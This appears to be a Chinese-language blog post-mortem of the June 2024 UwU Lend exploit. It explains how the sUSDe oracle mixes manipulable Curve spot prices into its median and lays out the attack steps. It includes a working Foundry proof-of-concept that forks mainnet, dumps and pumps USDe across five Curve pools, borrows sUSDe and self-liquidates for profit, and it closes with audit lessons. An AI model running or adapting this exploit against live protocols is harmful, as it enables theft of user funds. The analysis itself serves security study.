{"content":{"title":"2024-06-10 UwU lending预言机攻击","body":"# 攻击相关基本信息\r\n2024年6月10号，UWU Lend合约被攻击薅走5272枚WETH，约2300w美金。我对这个攻击进行了梳理，并完成了简单的PoC。这个漏洞的本质是预言机价格操纵。\r\n漏洞合约代码地址：\r\nhttps://vscode.blockscan.com/ethereum/0xd252953818bdf8507643c237877020398fa4b2e8\r\n攻击交易：\r\n- https://app.blocksec.com/explorer/tx/eth/0xca1bbf3b320662c89232006f1ec6624b56242850f07e0f1dadbe4f69ba0d6ac3\r\n- https://app.blocksec.com/explorer/tx/eth/0x242a0fb4fde9de0dc2fd42e8db743cbc197ffa2bf6a036ba0bba303df296408b\r\n- https://app.blocksec.com/explorer/tx/eth/0xb3f067618ce54bc26a960b660cfc28f9ea0315e2e9a1a855ede1508eb4017376 本文将按照这笔交易进行分析。\r\n# 背景补充：预言机与攻击\r\n虽然智能合约可以非常轻松的调用其他合约的参数等信息，但是链上环境是很难获取链下信息。比如一个合约如果想获取链下的binance交易所的DAI/BNB价格，以此价格作为链上swap DAI与BNB的价格，就会变的十分困难。预言机就是为了把链下的数据传到链上，然后作为一个合约，被其他合约调用查询数据。\r\n所以预言机的主要责任就是，获取数据，验证数据有效性，上传到链上，等待被查询。\r\n预言机的攻击主要是因为它的数据可能被认为操控，导致给到链上的数据不准确，然后影响到其他defi项目的运行。\r\n比如一个预言机合约A从某交易接口所获取试试DAI/BNB的价格，一个Defi 合约B通过访问预言机读取这个价格来进行链上的exchange。如果这个交易所接口被篡改，黑客就可以控制合约B上的DAI/BNB价格，从而获利\r\n# 本次攻击的漏洞代码\r\nUWU lend在实行borrow逻辑的时候，使用了AAVE预言机查询sUSDE的价格：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/4LiwKALw66a34edd3c664.png)\r\n\r\nAaveOracle的代码如下：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/mQowDJuW66a34efa05776.png)\r\n它最终调用了sUSDePriceProviderBUniCatch的getPrice()方法：https://vscode.blockscan.com/ethereum/0xd252953818bdf8507643c237877020398fa4b2e8\r\n\r\n```js\r\n  function getPrice() external view override returns (uint256) {\r\n    (uint256[] memory prices, bool uniFail) = _getPrices(true);\r\n\r\n    uint256 median = uniFail ? (prices[5] + prices[6]) / 2 : prices[5];\r\n\r\n    require(median > 0, 'Median is zero');\r\n\r\n    return FullMath.mulDiv(median, sUSDeScalingFactor, 1e3);\r\n  }\r\n  function _getPrices(bool sorted) internal view returns (uint256[] memory, bool uniFail) {\r\n    uint256[] memory prices = new uint256[](11);\r\n    (prices[0], prices[1]) = _getUSDeFraxEMAInUSD();\r\n    (prices[2], prices[3]) = _getUSDeUsdcEMAInUSD();\r\n    (prices[4], prices[5]) = _getUSDeDaiEMAInUSD();\r\n    (prices[6], prices[7]) = _getCrvUsdUSDeEMAInUSD();\r\n    (prices[8], prices[9]) = _getUSDeGhoEMAInUSD();\r\n    try UNI_V3_TWAP_USDT_ORACLE.getPrice() returns (uint256 price) {\r\n      prices[10] = price;\r\n    } catch {\r\n      uniFail = true;\r\n    }\r\n\r\n    if (sorted) {\r\n      _bubbleSort(prices);\r\n    }\r\n\r\n    return (prices, uniFail);\r\n  }\r\n\r\n  function _getUSDeFraxEMAInUSD() internal view returns (uint256, uint256) {\r\n    uint256 price = uwuOracle.getAssetPrice(FRAX);\r\n    // (USDe/FRAX * FRAX/USD) / 1e18\r\n    return (\r\n      FullMath.mulDiv(FRAX_POOL.price_oracle(0), price, 1e18),\r\n      FullMath.mulDiv(FRAX_POOL.get_p(0), price, 1e18)\r\n    );\r\n  }\r\n\r\n  function _getUSDeUsdcEMAInUSD() internal view returns (uint256, uint256) {\r\n//同_getUSDeFraxEMAInUSD逻辑\r\n  }\r\n  function _getUSDeDaiEMAInUSD() internal view returns (uint256, uint256) {\r\n//同_getUSDeFraxEMAInUSD逻辑\r\n  }\r\n  function _getCrvUsdUSDeEMAInUSD() internal view returns (uint256, uint256) {\r\n//同_getUSDeFraxEMAInUSD逻辑\r\n  }\r\n  function _getUSDeGhoEMAInUSD() internal view returns (uint256, uint256) {\r\n//同_getUSDeFraxEMAInUSD逻辑\r\n  }\r\n```\r\n- 第4行：如果返回偶数个结果，就取第6，7个price的平均值。否则取中位数第6个price。所以我们要确定这个price list如何得到的。\r\n- 第10行：定义如何得到price list。\r\n- 第12-16行：分别以五个币为基础计算出usde的价格：Frax，USDC，Dai，CrvUSD，Gho。每个币种返回两个usde价格，加起来一共10个价格。\r\n- 第30行：我们以_getUSDeFraxEMAInUSD为例子，看一下如何通过其他币种得到usde的值。这个方法中，他返回了两个值。是经过不同方法计算出的USDE价格，公式都是(USDe/FRAX * FRAX/USD) / 1e18\r\n- 第31行：通过uwu预言机获取FRAX/USD数值。\r\n- 第34行：通过curve的swap池子（usde/FRAX）得到价格FRAX_POOL.price_oracle(0)，下图是这个方法的定义，可以看出它拿到的是一个指数平均价格：https://vscode.blockscan.com/ethereum/0x5dc1bf6f1e983c0b21efb003c105133736fa0743\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/Wv5ApMtJ66a34f532521b.png)\r\n- 第35行：漏洞根源代码。它通过curve的swap池子（usde/FRAX）得到价格FRAX_POOL.get_p(0)。下图是get_p(0)方法的实现，可以看出在下面截图的1429行，它获取的价格是AMM状态变量的价格，也就是当前实时价格。以此类推，其他4个币种给出的价格中，一半是该币种的指数价格，一半是该币种的现货实时价格。黑客就有空间通过操纵curve池子的现货，间接操纵预言机，从而导致在UWU 借贷时USDE的价格可以偏高或者偏低。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/lajDHoGL66a34f64a0207.png)\r\n- 第23-27行：拿到10个price后排序拿到中间价格\r\n\r\n总结一下：根源漏洞是aave预言机获取sUSDE的价格是去查5个币种在curve池子里面与usde的换算价格。每个币种返回2个值，分别是对标USDE的指数价格以及现货价格。现货价格可以被黑客操纵（通过闪电贷大量exchange操纵），所以5个币种返回的10个值，一半都是可以被操纵的，最终操纵了aave预言机返回的sUSDE的值。\r\n问题代码出现在aave预言机，买单的是uwu lend，curve属于被间接利用的吃瓜群众。\r\n# 攻击步骤\r\n搞懂了如何操纵价格，黑客就利用这个价格查开始获利，大概的步骤如下：\r\n1. 闪电贷：嵌套9层flashloan几乎是把市场上所有的usde都借到了手里。\r\n2. 砸盘：在curve池子里，把手上的USDE全部exchange成其他underlying token（共5个underlying token）。导致池子里面USDE过多，那么USDE价格就暴跌。这个时候，如果调用aaveOracle查sUsde的价格，它其实调用了curve池子刚刚更新过的价格，那么aaveOracle拿到的sUSDE的价格就会很低。我通过看transaction返回值以及自己动手测试发现这里的砸盘与抬盘其实也就是让sUsde的价格上下浮动5%左右，并不是我们印象中的“归零”操作。\r\n3. 开借贷仓位：在UWU Lending池子里，质押underlying token到池子里，借出sUSDE。UWU依靠的是aaveOracle预言机，因为预言机给出的价格很低，所以在UWU池子里质押一定数量的Underlying token可以借出更多的sUSDE。\r\n4. 抬盘：从curve池子中把手上之前拿到的underlying token再换回USDE。（属于是步骤2的反方向操作）。这个步骤的结果是USDE回到正常水位。由于这一步的操作，第三步骤开的借贷仓位，因为sUSDE涨了，之前质押的抵押品不足以抵押这么高价值的sUSDE，所以我开仓位就达到了清算标准。细节是，我借贷的仓位健康因子health factor的值必须必须小于1才能进入清算状态。\r\n5. 清算仓位：批量清算自己借贷仓位并获得wETH作为清算奖励。黑客的主要获利方式就是赚取清算奖励。\r\n6. 还闪电贷。\r\n# 攻击transaction解析\r\n因为这个攻击调用的比较多 共7000多次调用，所以只截取关键步骤。\r\n首先黑客套用了7层闪电贷，涉及到aave，morpho blue，balancer，Maker等闪电贷\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/tCzWqFNP66a35086e2fd0.png)\r\n砸盘操作：砸盘说白了就是把闪电贷里借到的usde在curve池子里换成五种token。这5个token都是精心挑选，被aave oracle用来计算sUSDE的5个币：Frax，USDC，Dai，CrvUSD，Gho\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/xWhf4tQi66a350959673f.png)\r\n砸盘之后，就需要通过uwu进行借贷。首先借贷需要用户deposit一定的underlying token\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/widwgn3J66a350a11563c.png)\r\nAave默认质押的资产就是用于抵押品：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/Qu6amSzh66a350be643b4.png)\r\n所以攻击合约就可以开始borrow sUSDE了：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/2CqvlKzd66a350ca95ac8.png)\r\n借贷之后，开始抬盘，也就是之前exchange的反向操作。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/BmxefTyC66a350d6ab41c.png)\r\n由于抬盘之前的借贷达到了清算水位线，攻击合约开始清算自己的仓位并获取奖励：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/aZiTvUjk66a350e34d3b2.png)\r\n上述就是攻击发生的主要调用。\r\n# PoC\r\n下面是一个简单的poc，我没有完全复制黑客的步骤，简化了整个过程：\r\n1. 在程序setup阶段直接给账户存了很多usde用于后续置换，所以这个poc没有闪电贷和还款的步骤，直接开始在curve池子中exchange usde到5个其他token\r\n2. 在PoC中，通过砸盘，susde的价格从103038358下降到98807674，下降约4.28%；通过抬盘，susde从98807674上升到103183611，上升约4.42%\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/K0IiIuQ166a3511f081b4.png)\r\n3. 最开始借贷的时候，我的health factor为1.032, 抬盘后health factor降为0.969，这个数值小于1，所以进入了清算状态。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/07/EZ8IqNde66a35133681e3.png)\r\n\r\n```js\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.13;\r\n\r\nimport  \"forge-std/Test.sol\";\r\nimport \"./interface.sol\";\r\n\r\ncontract TestOracle is Test {\r\n        address private constant  Curve_Pool_crvUSD_USDC=0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E;\r\n        address private constant  crvUSD_Token=0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E;\r\n        address private constant DAI_Token=0x6B175474E89094C44Da98b954EedeAC495271d0F;\r\n        address private constant FRAX_Token=0x853d955aCEf822Db058eb8505911ED77F175b99e;\r\n        address private constant GHO_Token=0x40D16FC0246aD3160Ccc09B8D0D3A2cD28aE6C2f;\r\n        address private constant  usdc_Token=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\r\n        address private constant  aave_oracle= 0xAC4A2aC76D639E10f2C05a41274c1aF85B772598;\r\n        address private constant usde_Token= 0x4c9EDD5852cd905f086C759E8383e09bff1E68B3;\r\n        address private constant sUsde_token=0x9D39A5DE30e57443BfF2A8307A4256c8797A3497;\r\n        address private constant USDecrvUSD=0xF55B0f6F2Da5ffDDb104b58a60F2862745960442;\r\n        address private constant morphoBlue_flashLoan_contract = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;\r\n\r\n        address private constant usdeDAI=0xF36a4BA50C603204c3FC6d2dA8b78A7b69CBC67d;\r\n        address private constant FRAXUSDe=0x5dc1BF6f1e983C0b21EfB003c105133736fA0743;\r\n        address private constant GHOUSDe=0x670a72e6D22b0956C0D2573288F82DCc5d6E3a61;\r\n        address private constant USDeUSDC=0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72;\r\n\r\n        address private constant sUSDePriceProviderBUniCatchAddress=0xd252953818bDf8507643c237877020398FA4B2E8;\r\n        address private constant uwuLendingPoolAddress=0x05bfA9157E92690b179033cA2f6dd1e86B25Ea4D;\r\n        address private constant uwuLendingPoolProxyAddress=0x2409aF0251DCB89EE3Dee572629291f9B087c668;\r\n\r\n        address private constant wbtcAddress=0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;\r\n        address private constant wethAddress=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\r\n\r\n            \r\n    function setUp() external {\r\n        vm.createSelectFork(\"https://eth.llamarpc.com\", 20061322 - 1);\r\n        deal(address(usde_Token), address(this), 5e30);\r\n        deal(address(sUsde_token), address(this), 1e30);\r\n        deal(address(this), 100 ether);\r\n        //deal(address(DAI_Token),address(this),  );\r\n        deal(address(wbtcAddress),address(this), 2e21 );\r\n        deal(address(wethAddress),address(this), 5e24 );\r\n        deal(address(crvUSD_Token),address(this),867622751614490455044553100);\r\n        deal(address(DAI_Token),address(this),1436865073725432400632984800);\r\n        deal(address(FRAX_Token),address(this),4623395634444476091269533900);\r\n        deal(address(GHO_Token),address(this),482460203217140550970463800);\r\n        deal(address(usdc_Token),address(this),1485687872187700);\r\n    }   \r\n    function testOracle() external {\r\n       printOraclePriceOfUsde();\r\n       // 1. 砸盘\r\n       decreaseUsdePrice();\r\n       printOraclePriceOfUsde();\r\n\r\n        //2. 开借贷仓位\r\n        InitializableImmutableAdminUpgradeabilityProxy lendingPool = InitializableImmutableAdminUpgradeabilityProxy(payable(uwuLendingPoolProxyAddress));\r\n        //给池子质押两种币：weth和susde。weth会作为抵押品，susde将我会把它借出来，这个池子之前的susde为0，所以我要手动充一点进去。\r\n        uint256 balanceOfusdeIHave=IERC20(sUsde_token).balanceOf(address(this));\r\n        uint256 wethAmountForDeposit=100000000;//318490000000000000000000\r\n        uint256 susdeAmountForDepositAndBorrow=315800000000+5000000000;//1005999999999999999999999999\r\n        IWETH(payable(wethAddress)).approve(uwuLendingPoolProxyAddress,wethAmountForDeposit);\r\n        IERC20(sUsde_token).approve(uwuLendingPoolProxyAddress,susdeAmountForDepositAndBorrow);\r\n        lendingPool.deposit(wethAddress,wethAmountForDeposit,address(this),0);\r\n        lendingPool.deposit(sUsde_token,susdeAmountForDepositAndBorrow,address(this),0);\r\n        //把susde设置为：不可作为抵押品。因为等下我就是要借这个susde出来，如果susde即作为抵押品，又作为借出品，算起来会很混乱。\r\n        lendingPool.setUserUseReserveAsCollateral(sUsde_token,false);\r\n        uint256 balance=IERC20(sUsde_token).balanceOf(0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6);\r\n        lendingPool.borrow(sUsde_token,susdeAmountForDepositAndBorrow,2,0,address(this));\r\n       //这里打印下未抬盘前的债务健康情况\r\n        (uint256 totalCollateralETH1,uint256 totalDebtETH1,uint256 availableBorrowsETH1,uint256 currentLiquidationThreshold1,uint256 ltv1,uint256 healthFactor1)=lendingPool.getUserAccountData(address(this));\r\n        console.log(\"totalCollateralETH1\",totalCollateralETH1);\r\n        console.log(\"totalDebtETH1\",totalDebtETH1);\r\n        console.log(\"availableBorrowsETH1\",availableBorrowsETH1);\r\n        console.log(\"currentLiquidationThreshold1\",currentLiquidationThreshold1);\r\n        console.log(\"ltv\",ltv1);\r\n        console.log(\"healthFactor\",healthFactor1);\r\n        // 3. 抬盘\r\n        increaseUsdePrice();\r\n        printOraclePriceOfUsde();\r\n\r\n        // 4. 清算自己的仓位获得奖励\r\n        //这里打印下抬盘后的债务健康情况\r\n        (uint256 totalCollateralETH,uint256 totalDebtETH,uint256 availableBorrowsETH,uint256 currentLiquidationThreshold,uint256 ltv,uint256 healthFactor)=lendingPool.getUserAccountData(address(this));\r\n        console.log(\"*************************\");\r\n        console.log(\"totalCollateralETH1\",totalCollateralETH);\r\n        console.log(\"totalDebtETH1\",totalDebtETH);\r\n        console.log(\"availableBorrowsETH1\",availableBorrowsETH);\r\n        console.log(\"currentLiquidationThreshold1\",currentLiquidationThreshold);\r\n        console.log(\"ltv\",ltv);\r\n        console.log(\"healthFactor\",healthFactor);\r\n        IERC20(sUsde_token).approve(uwuLendingPoolProxyAddress,type(uint256).max);\r\n        lendingPool.liquidationCall(wethAddress,sUsde_token,address(this),102905129855320898832593836,true);\r\n    } \r\n\r\n    //砸盘方法\r\n    function decreaseUsdePrice() internal {\r\n        // 把一部分usde换成crvUSD\r\n        IERC20(usde_Token).approve(USDecrvUSD,8730217337982457609941891);\r\n        //我是真的不知道为什么exchange这个数8730217337982457609941891就能把价格砸的最低。\r\n        //试了好多数，比如池子里usde的数量，池子里crvUSD的数量，但是还是黑客的数最有效。\r\n        //黑客应该是个数学家。\r\n        CurveStableSwapNG(USDecrvUSD).exchange(0,1,8730217337982457609941891,0,address(this));\r\n\r\n      // 把一部分usde换成DAI\r\n        IERC20(usde_Token).approve(usdeDAI,14457209551812563734628576);\r\n        CurveStableSwapNG(usdeDAI).exchange(0,1,14457209551812563734628576,0,address(this));\r\n\r\n        // 把一部分usde换成FRAX\r\n        IERC20(usde_Token).approve(FRAXUSDe,46577065184558291279687420);\r\n        CurveStableSwapNG(FRAXUSDe).exchange(1,0,46577065184558291279687420,0,address(this));\r\n\r\n       // 把一部分usde换成GHO\r\n        IERC20(usde_Token).approve(GHOUSDe,4924787269911726035563289);\r\n        CurveStableSwapNG(GHOUSDe).exchange(1,0,4924787269911726035563289,0,address(this));\r\n\r\n           // 把一部分usde换成usdc\r\n        IERC20(usde_Token).approve(USDeUSDC,15032389024791928694903584);\r\n        CurveStableSwapNG(USDeUSDC).exchange(0,1,15032389024791928694903584,0,address(this));\r\n\r\n    }\r\n\r\n    //抬盘方法\r\n    function  increaseUsdePrice() internal {\r\n        // 把crvUSD 换成usde\r\n        uint256 crvUseBalance=IERC20(crvUSD_Token).balanceOf(address(this));\r\n        //console.log(crvUseBalance);\r\n        IERC20(crvUSD_Token).approve(USDecrvUSD,crvUseBalance);\r\n        CurveStableSwapNG(USDecrvUSD).exchange(1,0,crvUseBalance,0,address(this));\r\n\r\n       // 把DAI换成usde\r\n        uint256 daiBalance=IERC20(DAI_Token).balanceOf(address(this));\r\n        //console.log(daiBalance);\r\n        IERC20(DAI_Token).approve(usdeDAI,daiBalance);\r\n        CurveStableSwapNG(usdeDAI).exchange(1,0,daiBalance,0,address(this));\r\n\r\n        // 把FRAX换成usde\r\n        uint256 FraxBalance=IERC20(FRAX_Token).balanceOf(address(this));\r\n        //console.log(FraxBalance);\r\n        IERC20(FRAX_Token).approve(FRAXUSDe,FraxBalance);\r\n        CurveStableSwapNG(FRAXUSDe).exchange(0,1,FraxBalance,0,address(this));\r\n\r\n        // 把GHO换成usde\r\n        uint256 GhoBalance=IERC20(GHO_Token).balanceOf(address(this));\r\n        //console.log(GhoBalance);\r\n        IERC20(GHO_Token).approve(GHOUSDe,GhoBalance);\r\n        CurveStableSwapNG(GHOUSDe).exchange(0,1,GhoBalance,0,address(this));\r\n\r\n        // 把usdc换成usde\r\n        uint256 UsdcBalance=IERC20(usdc_Token).balanceOf(address(this));\r\n        //console.log(UsdcBalance);\r\n        IERC20(usdc_Token).approve(USDeUSDC,UsdcBalance);\r\n        CurveStableSwapNG(USDeUSDC).exchange(1,0,UsdcBalance,0,address(this));\r\n\r\n    }\r\n\r\n    function printOraclePriceOfUsde() internal {\r\n        //uint256 price1=IPriceOracleGetter(aave_oracle).getAssetPrice(sUsde_token);\r\n        uint256 price=sUSDePriceProviderBUniCatch(sUSDePriceProviderBUniCatchAddress).getPrice();\r\n        console.log(\"************sUsde price is  \",price);\r\n    }\r\n\r\n}\r\n```\r\n# 漏洞反思与防护\r\n1. 以后如果让我审计一个合约，不仅仅合约本身还要看，还要看它的供应链是否有问题。这个攻击的漏洞在aave oracle，并不是uwu lend的代码。所以如果uwu lend的审计人员只注意uwu本身的代码，就无法发现问题。\r\n2. 预言机合约涉及到喂价系统，一定要小心！！！千万不能拿现货实时价格作为输出。很容易被黑客操控。\r\n# reference\r\n写的比较好的英文文章：https://neptunemutual.com/blog/understanding-the-uwu-lend-exploit/\r\n写的最快的慢雾文章：https://mp.weixin.qq.com/s/mcCNO6IwaI-L1Aj1VRBi2w\r\nAAVE开发文档：https://docs.aave.com/developers/guides/liquidations"},"author":{"user":"https://learnblockchain.cn/people/21890","address":null},"history":null,"timestamp":1722428065,"version":1}